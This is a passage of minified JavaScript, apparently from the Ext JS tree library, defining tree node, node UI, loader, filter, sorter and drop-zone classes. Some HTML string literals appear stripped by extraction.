this.childNodes.length; var c = e.parentNode; if (c) { if (e.fireEvent("beforemove", e.getOwnerTree(), e, c, this, b) === false) { return false } c.removeChild(e) } b = this.childNodes.length; if (b === 0) { this.setFirstChild(e) } this.childNodes.push(e); e.parentNode = this; var h = this.childNodes[b - 1]; if (h) { e.previousSibling = h; h.nextSibling = e } else { e.previousSibling = null } e.nextSibling = null; this.setLastChild(e); e.setOwnerTree(this.getOwnerTree()); this.fireEvent("append", this.ownerTree, this, e, b); if (c) { e.fireEvent("move", this.ownerTree, e, c, this, b) } return e } }, removeChild:function (c, b) { var a = this.childNodes.indexOf(c); if (a == -1) { return false } if (this.fireEvent("beforeremove", this.ownerTree, this, c) === false) { return false } this.childNodes.splice(a, 1); if (c.previousSibling) { c.previousSibling.nextSibling = c.nextSibling } if (c.nextSibling) { c.nextSibling.previousSibling = c.previousSibling } if (this.firstChild == c) { this.setFirstChild(c.nextSibling) } if (this.lastChild == c) { this.setLastChild(c.previousSibling) } this.fireEvent("remove", this.ownerTree, this, c); if (b) { c.destroy(true) } else { c.clear() } return c }, clear:function (a) { this.setOwnerTree(null, a); this.parentNode = this.previousSibling = this.nextSibling = null; if (a) { this.firstChild = this.lastChild = null } }, destroy:function (a) { if (a === true) { this.purgeListeners(); this.clear(true); Ext.each(this.childNodes, function (b) { b.destroy(true) }); this.childNodes = null } else { this.remove(true) } }, insertBefore:function (d, a) { if (!a) { return this.appendChild(d) } if (d == a) { return false } if (this.fireEvent("beforeinsert", this.ownerTree, this, d, a) === false) { return false } var b = this.childNodes.indexOf(a); var c = d.parentNode; var e = b; if (c == this && this.childNodes.indexOf(d) < b) { e-- } if (c) { if (d.fireEvent("beforemove", d.getOwnerTree(), d, c, this, b, a) === false) { return false } c.removeChild(d) } if (e === 0) { this.setFirstChild(d) } this.childNodes.splice(e, 0, d); d.parentNode = this; var g = this.childNodes[e - 1]; if (g) { d.previousSibling = g; g.nextSibling = d } else { d.previousSibling = null } d.nextSibling = a; a.previousSibling = d; d.setOwnerTree(this.getOwnerTree()); this.fireEvent("insert", this.ownerTree, this, d, a); if (c) { d.fireEvent("move", this.ownerTree, d, c, this, e, a) } return d }, remove:function (a) { if (this.parentNode) { this.parentNode.removeChild(this, a) } return this }, removeAll:function (a) { var c = this.childNodes, b; while ((b = c[0])) { this.removeChild(b, a) } return this }, item:function (a) { return this.childNodes[a] }, replaceChild:function (a, c) { var b = c ? c.nextSibling : null; this.removeChild(c); this.insertBefore(a, b); return c }, indexOf:function (a) { return this.childNodes.indexOf(a) }, getOwnerTree:function () { if (!this.ownerTree) { var a = this; while (a) { if (a.ownerTree) { this.ownerTree = a.ownerTree; break } a = a.parentNode } } return this.ownerTree }, getDepth:function () { var b = 0; var a = this; while (a.parentNode) { ++b; a = a.parentNode } return b }, setOwnerTree:function (a, b) { if (a != this.ownerTree) { if (this.ownerTree) { this.ownerTree.unregisterNode(this) } this.ownerTree = a; if (b !== true) { Ext.each(this.childNodes, function (c) { c.setOwnerTree(a) }) } if (a) { a.registerNode(this) } } }, setId:function (b) { if (b !== this.id) { var a = this.ownerTree; if (a) { a.unregisterNode(this) } this.id = this.attributes.id = b; if (a) { a.registerNode(this) } this.onIdChange(b) } }, onIdChange:Ext.emptyFn, getPath:function (c) { c = c || "id"; var e = this.parentNode; var a = [this.attributes[c]]; while (e) { a.unshift(e.attributes[c]); e = e.parentNode } var d = this.getOwnerTree().pathSeparator; return d + a.join(d) }, bubble:function (c, b, a) { var d = this; while (d) { if (c.apply(b || d, a || [d]) === false) { break } d = d.parentNode } }, cascade:function (g, e, b) { if (g.apply(e || this, b || [this]) !== false) { var d = this.childNodes; for (var c = 0, a = d.length; c < a; c++) { d[c].cascade(g, e, b) } } }, eachChild:function (g, e, b) { var d = this.childNodes; for (var c = 0, a = d.length; c < a; c++) { if (g.apply(e || d[c], b || [d[c]]) === false) { break } } }, findChild:function (b, c, a) { return this.findChildBy(function () { return this.attributes[b] == c }, null, a) }, findChildBy:function (h, g, b) { var e = this.childNodes, a = e.length, d = 0, j, c; for (; d < a; d++) { j = e[d]; if (h.call(g || j, j) === true) { return j } else { if (b) { c = j.findChildBy(h, g, b); if (c != null) { return c } } } } return null }, sort:function (e, d) { var c = this.childNodes; var a = c.length; if (a > 0) { var g = d ? function () { e.apply(d, arguments) } : e; c.sort(g); for (var b = 0; b < a; b++) { var h = c[b]; h.previousSibling = c[b - 1]; h.nextSibling = c[b + 1]; if (b === 0) { this.setFirstChild(h) } if (b == a - 1) { this.setLastChild(h) } } } }, contains:function (a) { return a.isAncestor(this) }, isAncestor:function (a) { var b = this.parentNode; while (b) { if (b == a) { return true } b = b.parentNode } return false }, toString:function () { return"[Node" + (this.id ? " " + this.id : "") + "]" }}); Ext.tree.TreeNode = Ext.extend(Ext.data.Node, {constructor:function (a) { a = a || {}; if (Ext.isString(a)) { a = {text:a} } this.childrenRendered = false; this.rendered = false; Ext.tree.TreeNode.superclass.constructor.call(this, a); this.expanded = a.expanded === true; this.isTarget = a.isTarget !== false; this.draggable = a.draggable !== false && a.allowDrag !== false; this.allowChildren = a.allowChildren !== false && a.allowDrop !== false; this.text = a.text; this.disabled = a.disabled === true; this.hidden = a.hidden === true; this.addEvents("textchange", "beforeexpand", "beforecollapse", "expand", "disabledchange", "collapse", "beforeclick", "click", "checkchange", "beforedblclick", "dblclick", "contextmenu", "beforechildrenrendered"); var b = this.attributes.uiProvider || this.defaultUI || Ext.tree.TreeNodeUI; this.ui = new b(this) }, preventHScroll:true, isExpanded:function () { return this.expanded }, getUI:function () { return this.ui }, getLoader:function () { var a; return this.loader || ((a = this.getOwnerTree()) && a.loader ? a.loader : (this.loader = new Ext.tree.TreeLoader())) }, setFirstChild:function (a) { var b = this.firstChild; Ext.tree.TreeNode.superclass.setFirstChild.call(this, a); if (this.childrenRendered && b && a != b) { b.renderIndent(true, true) } if (this.rendered) { this.renderIndent(true, true) } }, setLastChild:function (b) { var a = this.lastChild; Ext.tree.TreeNode.superclass.setLastChild.call(this, b); if (this.childrenRendered && a && b != a) { a.renderIndent(true, true) } if (this.rendered) { this.renderIndent(true, true) } }, appendChild:function (b) { if (!b.render && !Ext.isArray(b)) { b = this.getLoader().createNode(b) } var a = Ext.tree.TreeNode.superclass.appendChild.call(this, b); if (a && this.childrenRendered) { a.render() } this.ui.updateExpandIcon(); return a }, removeChild:function (b, a) { this.ownerTree.getSelectionModel().unselect(b); Ext.tree.TreeNode.superclass.removeChild.apply(this, arguments); if (!a) { var c = b.ui.rendered; if (c) { b.ui.remove() } if (c && this.childNodes.length < 1) { this.collapse(false, false) } else { this.ui.updateExpandIcon() } if (!this.firstChild && !this.isHiddenRoot()) { this.childrenRendered = false } } return b }, insertBefore:function (c, a) { if (!c.render) { c = this.getLoader().createNode(c) } var b = Ext.tree.TreeNode.superclass.insertBefore.call(this, c, a); if (b && a && this.childrenRendered) { c.render() } this.ui.updateExpandIcon(); return b }, setText:function (b) { var a = this.text; this.text = this.attributes.text = b; if (this.rendered) { this.ui.onTextChange(this, b, a) } this.fireEvent("textchange", this, b, a) }, setIconCls:function (b) { var a = this.attributes.iconCls; this.attributes.iconCls = b; if (this.rendered) { this.ui.onIconClsChange(this, b, a) } }, setTooltip:function (a, b) { this.attributes.qtip = a; this.attributes.qtipTitle = b; if (this.rendered) { this.ui.onTipChange(this, a, b) } }, setIcon:function (a) { this.attributes.icon = a; if (this.rendered) { this.ui.onIconChange(this, a) } }, setHref:function (a, b) { this.attributes.href = a; this.attributes.hrefTarget = b; if (this.rendered) { this.ui.onHrefChange(this, a, b) } }, setCls:function (b) { var a = this.attributes.cls; this.attributes.cls = b; if (this.rendered) { this.ui.onClsChange(this, b, a) } }, select:function () { var a = this.getOwnerTree(); if (a) { a.getSelectionModel().select(this) } }, unselect:function (a) { var b = this.getOwnerTree(); if (b) { b.getSelectionModel().unselect(this, a) } }, isSelected:function () { var a = this.getOwnerTree(); return a ? a.getSelectionModel().isSelected(this) : false }, expand:function (a, c, d, b) { if (!this.expanded) { if (this.fireEvent("beforeexpand", this, a, c) === false) { return } if (!this.childrenRendered) { this.renderChildren() } this.expanded = true; if (!this.isHiddenRoot() && (this.getOwnerTree().animate && c !== false) || c) { this.ui.animExpand(function () { this.fireEvent("expand", this); this.runCallback(d, b || this, [this]); if (a === true) { this.expandChildNodes(true, true) } }.createDelegate(this)); return } else { this.ui.expand(); this.fireEvent("expand", this); this.runCallback(d, b || this, [this]) } } else { this.runCallback(d, b || this, [this]) } if (a === true) { this.expandChildNodes(true) } }, runCallback:function (a, c, b) { if (Ext.isFunction(a)) { a.apply(c, b) } }, isHiddenRoot:function () { return this.isRoot && !this.getOwnerTree().rootVisible }, collapse:function (b, g, h, e) { if (this.expanded && !this.isHiddenRoot()) { if (this.fireEvent("beforecollapse", this, b, g) === false) { return } this.expanded = false; if ((this.getOwnerTree().animate && g !== false) || g) { this.ui.animCollapse(function () { this.fireEvent("collapse", this); this.runCallback(h, e || this, [this]); if (b === true) { this.collapseChildNodes(true) } }.createDelegate(this)); return } else { this.ui.collapse(); this.fireEvent("collapse", this); this.runCallback(h, e || this, [this]) } } else { if (!this.expanded) { this.runCallback(h, e || this, [this]) } } if (b === true) { var d = this.childNodes; for (var c = 0, a = d.length; c < a; c++) { d[c].collapse(true, false) } } }, delayedExpand:function (a) { if (!this.expandProcId) { this.expandProcId = this.expand.defer(a, this) } }, cancelExpand:function () { if (this.expandProcId) { clearTimeout(this.expandProcId) } this.expandProcId = false }, toggle:function () { if (this.expanded) { this.collapse() } else { this.expand() } }, ensureVisible:function (c, b) { var a = this.getOwnerTree(); a.expandPath(this.parentNode ? this.parentNode.getPath() : this.getPath(), false, function () { var d = a.getNodeById(this.id); a.getTreeEl().scrollChildIntoView(d.ui.anchor); this.runCallback(c, b || this, [this]) }.createDelegate(this)) }, expandChildNodes:function (b, e) { var d = this.childNodes, c, a = d.length; for (c = 0; c < a; c++) { d[c].expand(b, e) } }, collapseChildNodes:function (b) { var d = this.childNodes; for (var c = 0, a = d.length; c < a; c++) { d[c].collapse(b) } }, disable:function () { this.disabled = true; this.unselect(); if (this.rendered && this.ui.onDisableChange) { this.ui.onDisableChange(this, true) } this.fireEvent("disabledchange", this, true) }, enable:function () { this.disabled = false; if (this.rendered && this.ui.onDisableChange) { this.ui.onDisableChange(this, false) } this.fireEvent("disabledchange", this, false) }, renderChildren:function (b) { if (b !== false) { this.fireEvent("beforechildrenrendered", this) } var d = this.childNodes; for (var c = 0, a = d.length; c < a; c++) { d[c].render(true) } this.childrenRendered = true }, sort:function (e, d) { Ext.tree.TreeNode.superclass.sort.apply(this, arguments); if (this.childrenRendered) { var c = this.childNodes; for (var b = 0, a = c.length; b < a; b++) { c[b].render(true) } } }, render:function (a) { this.ui.render(a); if (!this.rendered) { this.getOwnerTree().registerNode(this); this.rendered = true; if (this.expanded) { this.expanded = false; this.expand(false, false) } } }, renderIndent:function (b, e) { if (e) { this.ui.childIndent = null } this.ui.renderIndent(); if (b === true && this.childrenRendered) { var d = this.childNodes; for (var c = 0, a = d.length; c < a; c++) { d[c].renderIndent(true, e) } } }, beginUpdate:function () { this.childrenRendered = false }, endUpdate:function () { if (this.expanded && this.rendered) { this.renderChildren() } }, destroy:function (a) { if (a === true) { this.unselect(true) } Ext.tree.TreeNode.superclass.destroy.call(this, a); Ext.destroy(this.ui, this.loader); this.ui = this.loader = null }, onIdChange:function (a) { this.ui.onIdChange(a) }}); Ext.tree.TreePanel.nodeTypes.node = Ext.tree.TreeNode; Ext.tree.AsyncTreeNode = function (a) { this.loaded = a && a.loaded === true; this.loading = false; Ext.tree.AsyncTreeNode.superclass.constructor.apply(this, arguments); this.addEvents("beforeload", "load") }; Ext.extend(Ext.tree.AsyncTreeNode, Ext.tree.TreeNode, {expand:function (b, e, h, c) { if (this.loading) { var g; var d = function () { if (!this.loading) { clearInterval(g); this.expand(b, e, h, c) } }.createDelegate(this); g = setInterval(d, 200); return } if (!this.loaded) { if (this.fireEvent("beforeload", this) === false) { return } this.loading = true; this.ui.beforeLoad(this); var a = this.loader || this.attributes.loader || this.getOwnerTree().getLoader(); if (a) { a.load(this, this.loadComplete.createDelegate(this, [b, e, h, c]), this); return } } Ext.tree.AsyncTreeNode.superclass.expand.call(this, b, e, h, c) }, isLoading:function () { return this.loading }, loadComplete:function (a, c, d, b) { this.loading = false; this.loaded = true; this.ui.afterLoad(this); this.fireEvent("load", this); this.expand(a, c, d, b) }, isLoaded:function () { return this.loaded }, hasChildNodes:function () { if (!this.isLeaf() && !this.loaded) { return true } else { return Ext.tree.AsyncTreeNode.superclass.hasChildNodes.call(this) } }, reload:function (b, a) { this.collapse(false, false); while (this.firstChild) { this.removeChild(this.firstChild).destroy() } this.childrenRendered = false; this.loaded = false; if (this.isHiddenRoot()) { this.expanded = false } this.expand(false, false, b, a) }}); Ext.tree.TreePanel.nodeTypes.async = Ext.tree.AsyncTreeNode; Ext.tree.TreeNodeUI = Ext.extend(Object, {constructor:function (a) { Ext.apply(this, {node:a, rendered:false, animating:false, wasLeaf:true, ecc:"x-tree-ec-icon x-tree-elbow", emptyIcon:Ext.BLANK_IMAGE_URL}) }, removeChild:function (a) { if (this.rendered) { this.ctNode.removeChild(a.ui.getEl()) } }, beforeLoad:function () { this.addClass("x-tree-node-loading") }, afterLoad:function () { this.removeClass("x-tree-node-loading") }, onTextChange:function (b, c, a) { if (this.rendered) { this.textNode.innerHTML = c } }, onIconClsChange:function (c, a, b) { if (this.rendered) { Ext.fly(this.iconNode).replaceClass(b, a) } }, onIconChange:function (b, a) { if (this.rendered) { var c = Ext.isEmpty(a); this.iconNode.src = c ? this.emptyIcon : a; Ext.fly(this.iconNode)[c ? "removeClass" : "addClass"]("x-tree-node-inline-icon") } }, onTipChange:function (b, c, d) { if (this.rendered) { var a = Ext.isDefined(d); if (this.textNode.setAttributeNS) { this.textNode.setAttributeNS("ext", "qtip", c); if (a) { this.textNode.setAttributeNS("ext", "qtitle", d) } } else { this.textNode.setAttribute("ext:qtip", c); if (a) { this.textNode.setAttribute("ext:qtitle", d) } } } }, onHrefChange:function (b, a, c) { if (this.rendered) { this.anchor.href = this.getHref(a); if (Ext.isDefined(c)) { this.anchor.target = c } } }, onClsChange:function (c, a, b) { if (this.rendered) { Ext.fly(this.elNode).replaceClass(b, a) } }, onDisableChange:function (a, b) { this.disabled = b; if (this.checkbox) { this.checkbox.disabled = b } this[b ? "addClass" : "removeClass"]("x-tree-node-disabled") }, onSelectedChange:function (a) { if (a) { this.focus(); this.addClass("x-tree-selected") } else { this.removeClass("x-tree-selected") } }, onMove:function (a, h, e, g, d, b) { this.childIndent = null; if (this.rendered) { var i = g.ui.getContainer(); if (!i) { this.holder = document.createElement("div"); this.holder.appendChild(this.wrap); return } var c = b ? b.ui.getEl() : null; if (c) { i.insertBefore(this.wrap, c) } else { i.appendChild(this.wrap) } this.node.renderIndent(true, e != g) } }, addClass:function (a) { if (this.elNode) { Ext.fly(this.elNode).addClass(a) } }, removeClass:function (a) { if (this.elNode) { Ext.fly(this.elNode).removeClass(a) } }, remove:function () { if (this.rendered) { this.holder = document.createElement("div"); this.holder.appendChild(this.wrap) } }, fireEvent:function () { return this.node.fireEvent.apply(this.node, arguments) }, initEvents:function () { this.node.on("move", this.onMove, this); if (this.node.disabled) { this.onDisableChange(this.node, true) } if (this.node.hidden) { this.hide() } var b = this.node.getOwnerTree(); var a = b.enableDD || b.enableDrag || b.enableDrop; if (a && (!this.node.isRoot || b.rootVisible)) { Ext.dd.Registry.register(this.elNode, {node:this.node, handles:this.getDDHandles(), isHandle:false}) } }, getDDHandles:function () { return[this.iconNode, this.textNode, this.elNode] }, hide:function () { this.node.hidden = true; if (this.wrap) { this.wrap.style.display = "none" } }, show:function () { this.node.hidden = false; if (this.wrap) { this.wrap.style.display = "" } }, onContextMenu:function (a) { if (this.node.hasListener("contextmenu") || this.node.getOwnerTree().hasListener("contextmenu")) { a.preventDefault(); this.focus(); this.fireEvent("contextmenu", this.node, a) } }, onClick:function (c) { if (this.dropping) { c.stopEvent(); return } if (this.fireEvent("beforeclick", this.node, c) !== false) { var b = c.getTarget("a"); if (!this.disabled && this.node.attributes.href && b) { this.fireEvent("click", this.node, c); return } else { if (b && c.ctrlKey) { c.stopEvent() } } c.preventDefault(); if (this.disabled) { return } if (this.node.attributes.singleClickExpand && !this.animating && this.node.isExpandable()) { this.node.toggle() } this.fireEvent("click", this.node, c) } else { c.stopEvent() } }, onDblClick:function (a) { a.preventDefault(); if (this.disabled) { return } if (this.fireEvent("beforedblclick", this.node, a) !== false) { if (this.checkbox) { this.toggleCheck() } if (!this.animating && this.node.isExpandable()) { this.node.toggle() } this.fireEvent("dblclick", this.node, a) } }, onOver:function (a) { this.addClass("x-tree-node-over") }, onOut:function (a) { this.removeClass("x-tree-node-over") }, onCheckChange:function () { var a = this.checkbox.checked; this.checkbox.defaultChecked = a; this.node.attributes.checked = a; this.fireEvent("checkchange", this.node, a) }, ecClick:function (a) { if (!this.animating && this.node.isExpandable()) { this.node.toggle() } }, startDrop:function () { this.dropping = true }, endDrop:function () { setTimeout(function () { this.dropping = false }.createDelegate(this), 50) }, expand:function () { this.updateExpandIcon(); this.ctNode.style.display = "" }, focus:function () { if (!this.node.preventHScroll) { try { this.anchor.focus() } catch (c) { } } else { try { var b = this.node.getOwnerTree().getTreeEl().dom; var a = b.scrollLeft; this.anchor.focus(); b.scrollLeft = a } catch (c) { } } }, toggleCheck:function (b) { var a = this.checkbox; if (a) { a.checked = (b === undefined ? !a.checked : b); this.onCheckChange() } }, blur:function () { try { this.anchor.blur() } catch (a) { } }, animExpand:function (b) { var a = Ext.get(this.ctNode); a.stopFx(); if (!this.node.isExpandable()) { this.updateExpandIcon(); this.ctNode.style.display = ""; Ext.callback(b); return } this.animating = true; this.updateExpandIcon(); a.slideIn("t", {callback:function () { this.animating = false; Ext.callback(b) }, scope:this, duration:this.node.ownerTree.duration || 0.25}) }, highlight:function () { var a = this.node.getOwnerTree(); Ext.fly(this.wrap).highlight(a.hlColor || "C3DAF9", {endColor:a.hlBaseColor}) }, collapse:function () { this.updateExpandIcon(); this.ctNode.style.display = "none" }, animCollapse:function (b) { var a = Ext.get(this.ctNode); a.enableDisplayMode("block"); a.stopFx(); this.animating = true; this.updateExpandIcon(); a.slideOut("t", {callback:function () { this.animating = false; Ext.callback(b) }, scope:this, duration:this.node.ownerTree.duration || 0.25}) }, getContainer:function () { return this.ctNode }, getEl:function () { return this.wrap }, appendDDGhost:function (a) { a.appendChild(this.elNode.cloneNode(true)) }, getDDRepairXY:function () { return Ext.lib.Dom.getXY(this.iconNode) }, onRender:function () { this.render() }, render:function (c) { var e = this.node, b = e.attributes; var d = e.parentNode ? e.parentNode.ui.getContainer() : e.ownerTree.innerCt.dom; if (!this.rendered) { this.rendered = true; this.renderElements(e, b, d, c); if (b.qtip) { this.onTipChange(e, b.qtip, b.qtipTitle) } else { if (b.qtipCfg) { b.qtipCfg.target = Ext.id(this.textNode); Ext.QuickTips.register(b.qtipCfg) } } this.initEvents(); if (!this.node.expanded) { this.updateExpandIcon(true) } } else { if (c === true) { d.appendChild(this.wrap) } } }, renderElements:function (e, k, j, l) { this.indentMarkup = e.parentNode ? e.parentNode.ui.getChildIndent() : ""; var g = Ext.isBoolean(k.checked), b, c = this.getHref(k.href), d = ['
  • ', '', this.indentMarkup, "", '', '', g ? ('' : "/>")) : "", '', e.text, "
    ", '', "
  • "].join(""); if (l !== true && e.nextSibling && (b = e.nextSibling.ui.getEl())) { this.wrap = Ext.DomHelper.insertHtml("beforeBegin", b, d) } else { this.wrap = Ext.DomHelper.insertHtml("beforeEnd", j, d) } this.elNode = this.wrap.childNodes[0]; this.ctNode = this.wrap.childNodes[1]; var i = this.elNode.childNodes; this.indentNode = i[0]; this.ecNode = i[1]; this.iconNode = i[2]; var h = 3; if (g) { this.checkbox = i[3]; this.checkbox.defaultChecked = this.checkbox.checked; h++ } this.anchor = i[h]; this.textNode = i[h].firstChild }, getHref:function (a) { return Ext.isEmpty(a) ? (Ext.isGecko ? "" : "#") : a }, getAnchor:function () { return this.anchor }, getTextEl:function () { return this.textNode }, getIconEl:function () { return this.iconNode }, isChecked:function () { return this.checkbox ? this.checkbox.checked : false }, updateExpandIcon:function () { if (this.rendered) { var g = this.node, d, c, a = g.isLast() ? "x-tree-elbow-end" : "x-tree-elbow", e = g.hasChildNodes(); if (e || g.attributes.expandable) { if (g.expanded) { a += "-minus"; d = "x-tree-node-collapsed"; c = "x-tree-node-expanded" } else { a += "-plus"; d = "x-tree-node-expanded"; c = "x-tree-node-collapsed" } if (this.wasLeaf) { this.removeClass("x-tree-node-leaf"); this.wasLeaf = false } if (this.c1 != d || this.c2 != c) { Ext.fly(this.elNode).replaceClass(d, c); this.c1 = d; this.c2 = c } } else { if (!this.wasLeaf) { Ext.fly(this.elNode).replaceClass("x-tree-node-expanded", "x-tree-node-collapsed"); delete this.c1; delete this.c2; this.wasLeaf = true } } var b = "x-tree-ec-icon " + a; if (this.ecc != b) { this.ecNode.className = b; this.ecc = b } } }, onIdChange:function (a) { if (this.rendered) { this.elNode.setAttribute("ext:tree-node-id", a) } }, getChildIndent:function () { if (!this.childIndent) { var a = [], b = this.node; while (b) { if (!b.isRoot || (b.isRoot && b.ownerTree.rootVisible)) { if (!b.isLast()) { a.unshift('') } else { a.unshift('') } } b = b.parentNode } this.childIndent = a.join("") } return this.childIndent }, renderIndent:function () { if (this.rendered) { var a = "", b = this.node.parentNode; if (b) { a = b.ui.getChildIndent() } if (this.indentMarkup != a) { this.indentNode.innerHTML = a; this.indentMarkup = a } this.updateExpandIcon() } }, destroy:function () { if (this.elNode) { Ext.dd.Registry.unregister(this.elNode.id) } Ext.each(["textnode", "anchor", "checkbox", "indentNode", "ecNode", "iconNode", "elNode", "ctNode", "wrap", "holder"], function (a) { if (this[a]) { Ext.fly(this[a]).remove(); delete this[a] } }, this); delete this.node }}); Ext.tree.RootTreeNodeUI = Ext.extend(Ext.tree.TreeNodeUI, {render:function () { if (!this.rendered) { var a = this.node.ownerTree.innerCt.dom; this.node.expanded = true; a.innerHTML = '
    '; this.wrap = this.ctNode = a.firstChild } }, collapse:Ext.emptyFn, expand:Ext.emptyFn}); Ext.tree.TreeLoader = function (a) { this.baseParams = {}; Ext.apply(this, a); this.addEvents("beforeload", "load", "loadexception"); Ext.tree.TreeLoader.superclass.constructor.call(this); if (Ext.isString(this.paramOrder)) { this.paramOrder = this.paramOrder.split(/[\s,|]/) } }; Ext.extend(Ext.tree.TreeLoader, Ext.util.Observable, {uiProviders:{}, clearOnLoad:true, paramOrder:undefined, paramsAsHash:false, nodeParameter:"node", directFn:undefined, load:function (b, c, a) { if (this.clearOnLoad) { while (b.firstChild) { b.removeChild(b.firstChild) } } if (this.doPreload(b)) { this.runCallback(c, a || b, [b]) } else { if (this.directFn || this.dataUrl || this.url) { this.requestData(b, c, a || b) } } }, doPreload:function (d) { if (d.attributes.children) { if (d.childNodes.length < 1) { var c = d.attributes.children; d.beginUpdate(); for (var b = 0, a = c.length; b < a; b++) { var e = d.appendChild(this.createNode(c[b])); if (this.preloadChildren) { this.doPreload(e) } } d.endUpdate() } return true } return false }, getParams:function (g) { var e = Ext.apply({}, this.baseParams), h = this.nodeParameter, b = this.paramOrder; h && (e[h] = g.id); if (this.directFn) { var c = [g.id]; if (b) { if (h && b.indexOf(h) > -1) { c = [] } for (var d = 0, a = b.length; d < a; d++) { c.push(e[b[d]]) } } else { if (this.paramsAsHash) { c = [e] } } return c } else { return e } }, requestData:function (c, d, b) { if (this.fireEvent("beforeload", this, c, d) !== false) { if (this.directFn) { var a = this.getParams(c); a.push(this.processDirectResponse.createDelegate(this, [ {callback:d, node:c, scope:b} ], true)); this.directFn.apply(window, a) } else { this.transId = Ext.Ajax.request({method:this.requestMethod, url:this.dataUrl || this.url, success:this.handleResponse, failure:this.handleFailure, scope:this, argument:{callback:d, node:c, scope:b}, params:this.getParams(c)}) } } else { this.runCallback(d, b || c, []) } }, processDirectResponse:function (a, b, c) { if (b.status) { this.handleResponse({responseData:Ext.isArray(a) ? a : null, responseText:a, argument:c}) } else { this.handleFailure({argument:c}) } }, runCallback:function (a, c, b) { if (Ext.isFunction(a)) { a.apply(c, b) } }, isLoading:function () { return !!this.transId }, abort:function () { if (this.isLoading()) { Ext.Ajax.abort(this.transId) } }, createNode:function (attr) { if (this.baseAttrs) { Ext.applyIf(attr, this.baseAttrs) } if (this.applyLoader !== false && !attr.loader) { attr.loader = this } if (Ext.isString(attr.uiProvider)) { attr.uiProvider = this.uiProviders[attr.uiProvider] || eval(attr.uiProvider) } if (attr.nodeType) { return new Ext.tree.TreePanel.nodeTypes[attr.nodeType](attr) } else { return attr.leaf ? new Ext.tree.TreeNode(attr) : new Ext.tree.AsyncTreeNode(attr) } }, processResponse:function (d, c, k, l) { var m = d.responseText; try { var a = d.responseData || Ext.decode(m); c.beginUpdate(); for (var g = 0, h = a.length; g < h; g++) { var b = this.createNode(a[g]); if (b) { c.appendChild(b) } } c.endUpdate(); this.runCallback(k, l || c, [c]) } catch (j) { this.handleFailure(d) } }, handleResponse:function (c) { this.transId = false; var b = c.argument; this.processResponse(c, b.node, b.callback, b.scope); this.fireEvent("load", this, b.node, c) }, handleFailure:function (c) { this.transId = false; var b = c.argument; this.fireEvent("loadexception", this, b.node, c); this.runCallback(b.callback, b.scope || b.node, [b.node]) }, destroy:function () { this.abort(); this.purgeListeners() }}); Ext.tree.TreeFilter = function (a, b) { this.tree = a; this.filtered = {}; Ext.apply(this, b) }; Ext.tree.TreeFilter.prototype = {clearBlank:false, reverse:false, autoClear:false, remove:false, filter:function (d, a, b) { a = a || "text"; var c; if (typeof d == "string") { var e = d.length; if (e == 0 && this.clearBlank) { this.clear(); return } d = d.toLowerCase(); c = function (g) { return g.attributes[a].substr(0, e).toLowerCase() == d } } else { if (d.exec) { c = function (g) { return d.test(g.attributes[a]) } } else { throw"Illegal filter type, must be string or regex" } } this.filterBy(c, null, b) }, filterBy:function (d, c, b) { b = b || this.tree.root; if (this.autoClear) { this.clear() } var a = this.filtered, i = this.reverse; var e = function (k) { if (k == b) { return true } if (a[k.id]) { return false } var j = d.call(c || k, k); if (!j || i) { a[k.id] = k; k.ui.hide(); return false } return true }; b.cascade(e); if (this.remove) { for (var h in a) { if (typeof h != "function") { var g = a[h]; if (g && g.parentNode) { g.parentNode.removeChild(g) } } } } }, clear:function () { var b = this.tree; var a = this.filtered; for (var d in a) { if (typeof d != "function") { var c = a[d]; if (c) { c.ui.show() } } } this.filtered = {} }}; Ext.tree.TreeSorter = Ext.extend(Object, {constructor:function (a, c) { Ext.apply(this, c); a.on({scope:this, beforechildrenrendered:this.doSort, append:this.updateSort, insert:this.updateSort, textchange:this.updateSortParent}); var e = this.dir && this.dir.toLowerCase() == "desc", i = this.property || "text", d = this.sortType, h = this.folderSort, b = this.caseSensitive === true, g = this.leafAttr || "leaf"; if (Ext.isString(d)) { d = Ext.data.SortTypes[d] } this.sortFn = function (o, m) { var k = o.attributes, j = m.attributes; if (h) { if (k[g] && !j[g]) { return 1 } if (!k[g] && j[g]) { return -1 } } var n = k[i], l = j[i], q = d ? d(n) : (b ? n : n.toUpperCase()), p = d ? d(l) : (b ? l : l.toUpperCase()); if (q < p) { return e ? 1 : -1 } else { if (q > p) { return e ? -1 : 1 } } return 0 } }, doSort:function (a) { a.sort(this.sortFn) }, updateSort:function (a, b) { if (b.childrenRendered) { this.doSort.defer(1, this, [b]) } }, updateSortParent:function (a) { var b = a.parentNode; if (b && b.childrenRendered) { this.doSort.defer(1, this, [b]) } }}); if (Ext.dd.DropZone) { Ext.tree.TreeDropZone = function (a, b) { this.allowParentInsert = b.allowParentInsert || false; this.allowContainerDrop = b.allowContainerDrop || false; this.appendOnly = b.appendOnly || false; Ext.tree.TreeDropZone.superclass.constructor.call(this, a.getTreeEl(), b); this.tree = a; this.dragOverData = {}; this.lastInsertClass = "x-tree-no-status" }; Ext.extend(Ext.tree.TreeDropZone, Ext.dd.DropZone, {ddGroup:"TreeDD", expandDelay:1000, expandNode:function (a) { if (a.hasChildNodes() && !a.isExpanded()) { a.expand(false, null, this.triggerCacheRefresh.createDelegate(this)) } }, queueExpand:function (a) { this.expandProcId = this.expandNode.defer(this.expandDelay, this, [a]) }, cancelExpand:function () { if (this.expandProcId) { clearTimeout(this.expandProcId); this.expandProcId = false } }, isValidDropPoint:function (a, k, i, d, c) { if (!a || !c) { return false } var g = a.node; var h = c.node; if (!(g && g.isTarget && k)) { return false } if (k == "append" && g.allowChildren === false) { return false } if ((k == "above" || k == "below") && (g.parentNode && g.parentNode.allowChildren === false)) { return false } if (h && (g == h || h.contains(g))) { return false } var b = this.dragOverData; b.tree = this.tree; b.target = g; b.data = c; b.point = k; b.source = i; b.rawEvent = d; b.dropNode = h; b.cancel = false; var j = this.tree.fireEvent("nodedragover", b); return b.cancel === false && j !== false }, getDropPoint:function (h, g, l) { var m = g.node; if (m.isRoot) { return m.allowChildren !== false ? "append" : false } var c = g.ddel; var o = Ext.lib.Dom.getY(c), j = o + c.offsetHeight; var i = Ext.lib.Event.getPageY(h); var k = m.allowChildren === false || m.isLeaf(); if (this.appendOnly || m.parentNode.allowChildren === false) { return k ? false : "append" } var d = false; if (!this.allowParentInsert) { d = m.hasChildNodes() && m.isExpanded() } var a = (j - o) / (k ? 2 : 3); if (i >= o && i < (o + a)) { return"above" } else { if (!d && (k || i >= j - a && i <= j)) { return"below" } else { return"append" } } }, onNodeEnter:function (d, a, c, b) { this.cancelExpand() }, onContainerOver:function (a, c, b) { if (this.allowContainerDrop && 